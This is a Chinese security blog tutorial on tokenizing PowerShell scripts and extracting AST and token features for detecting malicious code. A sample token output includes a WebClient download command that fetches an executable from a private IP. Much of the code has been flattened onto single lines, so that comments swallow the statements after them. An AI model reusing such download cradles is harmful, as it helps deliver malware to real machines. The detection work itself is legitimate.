errors.LINKhttps://powershell.one#>param(# Path to PowerShell script file# can be a string or any object that has a "Path" # or "FullName" property:[String][Parameter(Mandatory,ValueFromPipeline)][Alias('FullName')]$Path)begin{$errors = $null}process{# create a variable to receive syntax errors:$errors = $null# tokenize PowerShell code:$code = Get-Content -Path $Path -Raw -Encoding DefaultWrite-Output $code# return the results as a custom object[PSCustomObject]@{Name = Split-Path -Path $Path -LeafPath = $PathTokens = [Management.Automation.PSParser]::Tokenize($code, [ref]$errors)Errors = $errors | Select-Object -ExpandProperty Token -Property Message} } }# 執(zhí)行函數(shù) $Path = ".\data\example-004.ps1" $result = Test-PSOneScript -Path $Path $errors = $result.Errors.Count -gt 0 $tokens = $result.Tokens.Type | Sort-Object -Unique Write-Output ($result) Write-Output ($errors,"`n") Write-Output ($tokens,"`n")# 提取變量列表 $variables = $result.Tokens | Where-Object Type -eq Variable | Sort-Object -Property Content -Unique | ForEach-Object { '${0}' -f $_.Content} Write-Output ("Get Variables:") Write-Output ($variables,"`n")# 提取命令列表 $commands = $result.Tokens | Where-Object Type -eq Command | Sort-Object -Property Content -Unique | Select-Object -ExpandProperty Content Write-Output ("Get Commands:") Write-Output ($commands,"`n")# 提取Token內(nèi)容 $token_texts = $result.Tokens.Content Write-Output ($token_texts.GetType()) $strToken = '' foreach($elem in $token_texts) {$elem = $elem | Out-String #Object轉(zhuǎn)String$text = $elem.Trim()if($strToken.Length -ne 0) { #不等于$text = " " + $text}$strToken = $strToken + $text } Write-Output ("Get Texts:") Write-Output ($strToken,$strToken.Length)

輸出結(jié)果如下圖所示:

提取的Token被空格拼接,比如:

service = Get-Service | Where-Object Status -eq Running powershell ( new-object system.net.webclient ) . downloadfile ( http://192.168.10.11/test.exe , test.exe ) ;

五.自動(dòng)提取Powershell的AST和Token實(shí)例

最后作者結(jié)合上一篇文章提取CSV文件中的代碼,實(shí)現(xiàn)AST和Token提取。其中CSV文件如下:

完整代碼如下:

#------------------------------------------------------ # 第一部分:批量讀取文件 # By: Eastmount CSDN 2022-03-12 #------------------------------------------------------ function Read_csv_powershell {param ([parameter(Mandatory=$true)][System.String]$inputfile,[System.String]$outputfile)# 讀取CSV文件$content = Import-CSV $inputfile$list = [System.Collections.ArrayList]@()foreach($line in $content) {$no = $line.("no")$code = $line.("decoded code")$name = $line.("family name")# Write-Output($no, $code, $name)# 轉(zhuǎn)換抽象語法樹AST和Tokentry {$ast = Convert-CodeToAst -str $codeWrite-Output($ast)$token = get_token_text -str $codeWrite-Output($token)} catch [System.Exception] {'exception info:{0}' -f $_.Eception.Messagecontinue}$list.add([PSCustomObject]@{no = $nocode = $codename = $nameast = $asttoken = $token})}$list | ConvertTo-Csv -NoTypeInformation | out-file $outputfile -Encoding ascii -ForceWrite-Output($list) }#------------------------------------------------------ # 第二部分:提取并拼接AST節(jié)點(diǎn)內(nèi)容 #------------------------------------------------------ function add_blanks {param ([parameter(Mandatory=$true)][System.Array]$arr)$strNode = ''foreach($elem in $arr) {if($strNode.Length -ne 0) { #不等于$elem = " " + $elem}$strNode = $strNode + $elem}return $strNode }# 函數(shù):提取Powershell代碼的抽象語法樹(AST) function Convert-CodeToAst {param([Parameter(Mandatory)] # 強(qiáng)制參數(shù)[System.String]$str # 執(zhí)行ps代碼)# 構(gòu)建hashtable$hierarchy = @{}$result = [System.Collections.ArrayList]@()# 創(chuàng)建Scipt代碼塊$code = [ScriptBlock]::Create($str)# 提取AST$code.Ast.FindAll( { $true }, $true) |ForEach-Object {# take unique object hash as key$id = 0;if($_.Parent) {$id = $_.Parent.GetHashCode()}Write-Debug('{0}:{1}' -f $_.GetType().Name,$id)if ($hierarchy.ContainsKey($id) -eq $false) {$hierarchy[$id] = [System.Collections.ArrayList]@()}$null = $hierarchy[$id].Add($_)# add ast object to parent}# 遞歸可視化樹function Visualize-Tree($Id){# 每級(jí)縮進(jìn)$hierarchy[$id] | ForEach-Object {# 獲取當(dāng)前AST對(duì)象的id$newid = $_.GetHashCode()# 遞歸其子節(jié)點(diǎn)(if any)if ($hierarchy.ContainsKey($newid)){Visualize-Tree -id $newid}$null = $result.Add($_.GetType().Name)}}# 使用AST根對(duì)象開始可視化Visualize-Tree -id $code.Ast.GetHashCode()# Write-Output ($result,"`n")# result存儲(chǔ)根節(jié)點(diǎn)內(nèi)容$strNode = add_blanks -arr $resultreturn $strNode }#------------------------------------------------------ # 第三部分:提取并拼接Token內(nèi)容 #------------------------------------------------------ # 函數(shù):拼接Token內(nèi)容 function get_token_text {param ([Parameter(Mandatory)] # 強(qiáng)制參數(shù)[System.String]$str # 執(zhí)行ps代碼)# 創(chuàng)建Scipt代碼塊$code = [ScriptBlock]::Create($str)# 提取token$errors = $null$tokens = [System.Management.Automation.PSParser]::Tokenize($code, [ref]$errors)$syntaxError = $errors | Select-Object -ExpandProperty Token -Property Message$token_texts = $tokens.Content# Write-Output ($token_texts)# 拼接字符串$strToken = ''foreach($elem in $token_texts) {$elem = $elem | Out-String #Object轉(zhuǎn)String$text = $elem.Trim()if($strToken.Length -ne 0) { #不等于$text = " " + $text}$strToken = $strToken + $text}# Write-Output ("Get Texts:")# Write-Output ($strToken,$strToken.Length)return $strToken }#------------------------------------------------------ # 主函數(shù):讀取CSV文件并提取AST和Token #------------------------------------------------------ $inputCSV = '.\data\data.csv' $outputCSV = '.\data\data_AST_Token.csv' Read_csv_powershell -inputfile $inputCSV -outputfile $outputCSV

最終輸出結(jié)果如下圖所示:

同時(shí)存儲(chǔ)至本地。


注意,利用上述代碼在對(duì)PS文件解析時(shí),可能會(huì)報(bào)錯(cuò)誤。查了很多資料都無解決方法。

  • 表達(dá)式或語句中包含意外的標(biāo)記
  • CategoryInfo : NotSpecified: ( : ) [], MethodInvocationException

最后解決發(fā)現(xiàn):是Create會(huì)解析Powershell代碼,保證其無語法錯(cuò)誤才創(chuàng)建代碼塊。這里使用另一種方法替換,即:

  • https://stackoverflow.com/questions/39909021/parsing-powershell-script-with-ast
$code = [Management.Automation.Language.Parser]::ParseInput($content, [ref]$tokens, [ref]$errors)

完整代碼如下:

function Convert-CodeToAst {param([Parameter(Mandatory)] # 強(qiáng)制參數(shù)[System.String]$str # 執(zhí)行ps文件名稱)# 構(gòu)建hashtable$hierarchy = @{}$result = [System.Collections.ArrayList]@()# 提取ps文件中的內(nèi)容 Write-Output ("file name: {0}" -f ($str))$content = Get-content $strWrite-Output $content# 創(chuàng)建Scipt代碼塊# 報(bào)錯(cuò):表達(dá)式或語句中包含意外的標(biāo)記# 原因:Create需要保證PS代碼正確# $code = [ScriptBlock]::Create($content)$tokens = $null$errors = $null$code = [Management.Automation.Language.Parser]::ParseInput($content, [ref]$tokens, [ref]$errors)Write-Output $code# 提取AST$code.FindAll( { $true }, $true) |ForEach-Object {# take unique object hash as key$id = 0;if($_.Parent) {$id = $_.Parent.GetHashCode()}Write-Debug('{0}:{1}' -f $_.GetType().Name,$id)if ($hierarchy.ContainsKey($id) -eq $false) {$hierarchy[$id] = [System.Collections.ArrayList]@()}$null = $hierarchy[$id].Add($_)# add ast object to parent}# 遞歸可視化樹function Visualize-Tree($Id){# 每級(jí)縮進(jìn)$hierarchy[$id] | ForEach-Object {# 獲取當(dāng)前AST對(duì)象的id$newid = $_.GetHashCode()# 遞歸其子節(jié)點(diǎn)(if any)if ($hierarchy.ContainsKey($newid)){Visualize-Tree -id $newid}$null = $result.Add($_.GetType().Name)}}# 使用AST根對(duì)象開始可視化Visualize-Tree -id $code.GetHashCode()Write-Output $resultreturn $result }Convert-CodeToAst -str .\data\beacon

六.總結(jié)

寫到這里這篇文章就介紹介紹,希望對(duì)您有所幫助。

  • 一.Powershell基礎(chǔ)知識(shí)
    1.高威脅
    2.基礎(chǔ)語法
    3.Bypass
  • 二.powershell.one
    1.概念
    2.訪問AST
  • 三.Tokenizing PowerShell Scripts
    1.Token多彩的世界
    2.PSParser 概述
    3.Tokenizing PowerShell
  • 四.Token提取實(shí)例
    1.基礎(chǔ)用法
    (1) 提取AST
    (2) 提取Token
    (3) 提取變量和命令列表
    2.批量分析
    3.提取token對(duì)應(yīng)的text
  • 五.自動(dòng)提取Powershell的AST和Token實(shí)例
  • 六.總結(jié)

歡迎大家討論,是否覺得這系列文章幫助到您!任何建議都可以評(píng)論告知讀者,共勉。

  • 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 網(wǎng)絡(luò)安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

(By:Eastmount 2022-03-20 夜于武漢 http://blog.csdn.net/eastmount/ )


能看到這里的讀者,我說聲誠懇的感謝。作者再給一個(gè)福利,推薦三個(gè)Powershell寶藏網(wǎng)站。

  • https://powershell.one/powershell-internals/parsing-and-tokenization/abstract-syntax-tree
  • https://github.com/lzybkr/ShowPSAst
  • https://github.com/thewhiteninja/deobshell
  • https://powershell.one/powershell-internals/parsing-and-tokenization/simple-tokenizer
  • https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.psparser.tokenize?view=powershellsdk-7.0.0


自學(xué)篇(鏈接直接跳轉(zhuǎn)到正文):

  • [網(wǎng)絡(luò)安全自學(xué)篇] 一.入門筆記之看雪Web安全學(xué)習(xí)及異或解密示例
  • [網(wǎng)絡(luò)安全自學(xué)篇] 二.Chrome瀏覽器保留密碼功能滲透解析及登錄加密入門筆記
  • [網(wǎng)絡(luò)安全自學(xué)篇] 三.Burp Suite工具安裝配置、Proxy基礎(chǔ)用法及暴庫示例
  • [網(wǎng)絡(luò)安全自學(xué)篇] 四.實(shí)驗(yàn)吧CTF實(shí)戰(zhàn)之WEB滲透和隱寫術(shù)解密
  • [網(wǎng)絡(luò)安全自學(xué)篇] 五.IDA Pro反匯編工具初識(shí)及逆向工程解密實(shí)戰(zhàn)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 六.OllyDbg動(dòng)態(tài)分析工具基礎(chǔ)用法及Crakeme逆向
  • [網(wǎng)絡(luò)安全自學(xué)篇] 七.快手視頻下載之Chrome瀏覽器Network分析及Python爬蟲探討
  • [網(wǎng)絡(luò)安全自學(xué)篇] 八.Web漏洞及端口掃描之Nmap、ThreatScan和DirBuster工具
  • [網(wǎng)絡(luò)安全自學(xué)篇] 九.社會(huì)工程學(xué)之基礎(chǔ)概念、IP獲取、IP物理定位、文件屬性
  • [網(wǎng)絡(luò)安全自學(xué)篇] 十.論文之基于機(jī)器學(xué)習(xí)算法的主機(jī)惡意代碼
  • [網(wǎng)絡(luò)安全自學(xué)篇] 十一.虛擬機(jī)VMware+Kali安裝入門及Sqlmap基本用法
  • [網(wǎng)絡(luò)安全自學(xué)篇] 十二.Wireshark安裝入門及抓取網(wǎng)站用戶名密碼(一)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及數(shù)據(jù)流追蹤和圖像抓取(二)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 十四.Python攻防之基礎(chǔ)常識(shí)、正則表達(dá)式、Web編程和套接字通信(一)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 十五.Python攻防之多線程、C段掃描和數(shù)據(jù)庫編程(二)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 十六.Python攻防之弱口令、自定義字典生成及網(wǎng)站暴庫防護(hù)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 十七.Python攻防之構(gòu)建Web目錄掃描器及ip代理池(四)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 十八.XSS跨站腳本攻擊原理及代碼攻防演示(一)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 十九.Powershell基礎(chǔ)入門及常見用法(一)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 二十.Powershell基礎(chǔ)入門及常見用法(二)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 二十一.GeekPwn極客大賽之安全攻防技術(shù)總結(jié)及ShowTime
  • [網(wǎng)絡(luò)安全自學(xué)篇] 二十二.Web滲透之網(wǎng)站信息、域名信息、端口信息、敏感信息及指紋信息收集
  • [網(wǎng)絡(luò)安全自學(xué)篇] 二十三.基于機(jī)器學(xué)習(xí)的惡意請(qǐng)求識(shí)別及安全領(lǐng)域中的機(jī)器學(xué)習(xí)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 二十四.基于機(jī)器學(xué)習(xí)的惡意代碼識(shí)別及人工智能中的惡意代碼檢測(cè)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 二十五.Web安全學(xué)習(xí)路線及木馬、病毒和防御初探
  • [網(wǎng)絡(luò)安全自學(xué)篇] 二十六.Shodan搜索引擎詳解及Python命令行調(diào)用
  • [網(wǎng)絡(luò)安全自學(xué)篇] 二十七.Sqlmap基礎(chǔ)用法、CTF實(shí)戰(zhàn)及請(qǐng)求參數(shù)設(shè)置(一)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 二十八.文件上傳漏洞和Caidao入門及防御原理(一)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 二十九.文件上傳漏洞和IIS6.0解析漏洞及防御原理(二)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 三十.文件上傳漏洞、編輯器漏洞和IIS高版本漏洞及防御(三)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 三十一.文件上傳漏洞之Upload-labs靶場及CTF題目01-10(四)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 三十二.文件上傳漏洞之Upload-labs靶場及CTF題目11-20(五)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 三十三.文件上傳漏洞之繞狗一句話原理和繞過安全狗(六)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 三十四.Windows系統(tǒng)漏洞之5次Shift漏洞啟動(dòng)計(jì)算機(jī)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 三十五.惡意代碼攻擊溯源及惡意樣本分析
  • [網(wǎng)絡(luò)安全自學(xué)篇] 三十六.WinRAR漏洞復(fù)現(xiàn)(CVE-2018-20250)及惡意軟件自啟動(dòng)劫持
  • [網(wǎng)絡(luò)安全自學(xué)篇] 三十七.Web滲透提高班之hack the box在線靶場注冊(cè)及入門知識(shí)(一)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 三十八.hack the box滲透之BurpSuite和Hydra密碼爆破及Python加密Post請(qǐng)求(二)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 三十九.hack the box滲透之DirBuster掃描路徑及Sqlmap高級(jí)注入用法(三)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 四十.phpMyAdmin 4.8.1后臺(tái)文件包含漏洞復(fù)現(xiàn)及詳解(CVE-2018-12613)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 四十一.中間人攻擊和ARP欺騙原理詳解及漏洞還原
  • [網(wǎng)絡(luò)安全自學(xué)篇] 四十二.DNS欺騙和釣魚網(wǎng)站原理詳解及漏洞還原
  • [網(wǎng)絡(luò)安全自學(xué)篇] 四十三.木馬原理詳解、遠(yuǎn)程服務(wù)器IPC$漏洞及木馬植入實(shí)驗(yàn)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 四十四.Windows遠(yuǎn)程桌面服務(wù)漏洞(CVE-2019-0708)復(fù)現(xiàn)及詳解
  • [網(wǎng)絡(luò)安全自學(xué)篇] 四十五.病毒詳解及批處理病毒制作(自啟動(dòng)、修改密碼、定時(shí)關(guān)機(jī)、藍(lán)屏、進(jìn)程關(guān)閉)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 四十六.微軟證書漏洞CVE-2020-0601 (上)Windows驗(yàn)證機(jī)制及可執(zhí)行文件簽名復(fù)現(xiàn)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 四十七.微軟證書漏洞CVE-2020-0601 (下)Windows證書簽名及HTTPS網(wǎng)站劫持
  • [網(wǎng)絡(luò)安全自學(xué)篇] 四十八.Cracer第八期——(1)安全術(shù)語、Web滲透流程、Windows基礎(chǔ)、注冊(cè)表及常用DOS命令
  • [網(wǎng)絡(luò)安全自學(xué)篇] 四十九.Procmon軟件基本用法及文件進(jìn)程、注冊(cè)表查看
  • [網(wǎng)絡(luò)安全自學(xué)篇] 五十.虛擬機(jī)基礎(chǔ)之安裝XP系統(tǒng)、文件共享、網(wǎng)絡(luò)快照設(shè)置及Wireshark抓取BBS密碼
  • [網(wǎng)絡(luò)安全自學(xué)篇] 五十一.惡意樣本分析及HGZ木馬控制目標(biāo)服務(wù)器
  • [網(wǎng)絡(luò)安全自學(xué)篇] 五十二.Windows漏洞利用之棧溢出原理和棧保護(hù)GS機(jī)制
  • [網(wǎng)絡(luò)安全自學(xué)篇] 五十三.Windows漏洞利用之Metasploit實(shí)現(xiàn)棧溢出攻擊及反彈shell
  • [網(wǎng)絡(luò)安全自學(xué)篇] 五十四.Windows漏洞利用之基于SEH異常處理機(jī)制的棧溢出攻擊及shell提取
  • [網(wǎng)絡(luò)安全自學(xué)篇] 五十五.Windows漏洞利用之構(gòu)建ROP鏈繞過DEP并獲取Shell
  • [網(wǎng)絡(luò)安全自學(xué)篇] 五十六.i春秋老師分享小白滲透之路及Web滲透技術(shù)總結(jié)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 五十七.PE文件逆向之什么是數(shù)字簽名及Signtool簽名工具詳解(一)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反彈shell
  • [網(wǎng)絡(luò)安全自學(xué)篇] 五十九.Windows漏洞利用之MS08-067遠(yuǎn)程代碼執(zhí)行漏洞復(fù)現(xiàn)及shell深度提權(quán)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 六十.Cracer第八期——(2)五萬字總結(jié)Linux基礎(chǔ)知識(shí)和常用滲透命令
  • [網(wǎng)絡(luò)安全自學(xué)篇] 六十一.PE文件逆向之?dāng)?shù)字簽名詳細(xì)解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 六十二.PE文件逆向之PE文件解析、PE編輯工具使用和PE結(jié)構(gòu)修改(三)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 六十三.hack the box滲透之OpenAdmin題目及蟻劍管理員提權(quán)(四)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 六十四.Windows漏洞利用之SMBv3服務(wù)遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2020-0796)復(fù)現(xiàn)及詳解
  • [網(wǎng)絡(luò)安全自學(xué)篇] 六十五.Vulnhub靶機(jī)滲透之環(huán)境搭建及JIS-CTF入門和蟻劍提權(quán)示例(一)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 六十六.Vulnhub靶機(jī)滲透之DC-1提權(quán)和Drupal漏洞利用(二)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 六十七.WannaCry勒索病毒復(fù)現(xiàn)及分析(一)Python利用永恒之藍(lán)及Win7勒索加密
  • [網(wǎng)絡(luò)安全自學(xué)篇] 六十八.WannaCry勒索病毒復(fù)現(xiàn)及分析(二)MS17-010利用及病毒解析
  • [網(wǎng)絡(luò)安全自學(xué)篇] 六十九.宏病毒之入門基礎(chǔ)、防御措施、自發(fā)郵件及APT28樣本分析
  • [網(wǎng)絡(luò)安全自學(xué)篇] 七十.WannaCry勒索病毒復(fù)現(xiàn)及分析(三)蠕蟲傳播機(jī)制分析及IDA和OD逆向
  • [網(wǎng)絡(luò)安全自學(xué)篇] 七十一.深信服分享之外部威脅防護(hù)和勒索病毒對(duì)抗
  • [網(wǎng)絡(luò)安全自學(xué)篇] 七十二.逆向分析之OllyDbg動(dòng)態(tài)調(diào)試工具(一)基礎(chǔ)入門及TraceMe案例分析
  • [網(wǎng)絡(luò)安全自學(xué)篇] 七十三.WannaCry勒索病毒復(fù)現(xiàn)及分析(四)蠕蟲傳播機(jī)制全網(wǎng)源碼詳細(xì)解讀
  • [網(wǎng)絡(luò)安全自學(xué)篇] 七十四.APT攻擊檢測(cè)溯源與常見APT組織的攻擊案例
  • [網(wǎng)絡(luò)安全自學(xué)篇] 七十五.Vulnhub靶機(jī)滲透之bulldog信息收集和nc反彈shell(三)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 七十六.逆向分析之OllyDbg動(dòng)態(tài)調(diào)試工具(二)INT3斷點(diǎn)、反調(diào)試、硬件斷點(diǎn)與內(nèi)存斷點(diǎn)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 七十七.惡意代碼與APT攻擊中的武器(強(qiáng)推Seak老師)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 七十八.XSS跨站腳本攻擊案例分享及總結(jié)(二)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 七十九.Windows PE病毒原理、分類及感染方式詳解
  • [網(wǎng)絡(luò)安全自學(xué)篇] 八十.WHUCTF之WEB類解題思路WP(代碼審計(jì)、文件包含、過濾繞過、SQL注入)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 八十一.WHUCTF之WEB類解題思路WP(文件上傳漏洞、冰蝎蟻劍、反序列化phar)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 八十二.WHUCTF之隱寫和逆向類解題思路WP(文字解密、圖片解密、佛語解碼、冰蝎流量分析、逆向分析)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 八十三.WHUCTF之CSS注入、越權(quán)、csrf-token竊取及XSS總結(jié)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 八十四.《Windows hk編程技術(shù)詳解》之VS環(huán)境配置、基礎(chǔ)知識(shí)及DLL延遲加載詳解
  • [網(wǎng)絡(luò)安全自學(xué)篇] 八十五.《Windows hk編程技術(shù)詳解》之注入技術(shù)詳解(全局鉤子、遠(yuǎn)線程鉤子、突破Session 0注入、APC注入)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 八十六.威脅情報(bào)分析之Python抓取FreeBuf網(wǎng)站APT文章(上)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 八十七.惡意代碼檢測(cè)技術(shù)詳解及總結(jié)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 八十八.基于機(jī)器學(xué)習(xí)的惡意代碼檢測(cè)技術(shù)詳解
  • [網(wǎng)絡(luò)安全自學(xué)篇] 八十九.PE文件解析之通過Python獲取時(shí)間戳判斷軟件來源地區(qū)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 九十.遠(yuǎn)控木馬詳解及APT攻擊中的遠(yuǎn)控
  • [網(wǎng)絡(luò)安全自學(xué)篇] 九十一.阿里云搭建LNMP環(huán)境及實(shí)現(xiàn)PHP自定義網(wǎng)站IP訪問 (1)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 九十二.《Windows hk編程技術(shù)詳解》之病毒啟動(dòng)技術(shù)創(chuàng)建進(jìn)程API、突破SESSION0隔離、內(nèi)存加載詳解(3)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 九十三.《Windows hk編程技術(shù)詳解》之木馬開機(jī)自啟動(dòng)技術(shù)(注冊(cè)表、計(jì)劃任務(wù)、系統(tǒng)服務(wù))
  • [網(wǎng)絡(luò)安全自學(xué)篇] 九十四.《Windows hk編程技術(shù)詳解》之提權(quán)技術(shù)(令牌權(quán)限提升和Bypass UAC)
  • [網(wǎng)絡(luò)安全自學(xué)篇] 九十五.利用XAMPP任意命令執(zhí)行漏洞提升權(quán)限(CVE-2020-11107)
與50位技術(shù)專家面對(duì)面20年技術(shù)見證,附贈(zèng)技術(shù)全景圖

總結(jié)

以上是生活随笔為你收集整理的[网络安全提高篇] 一一五.Powershell恶意代码检测 (3)Token关键词自动提取的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。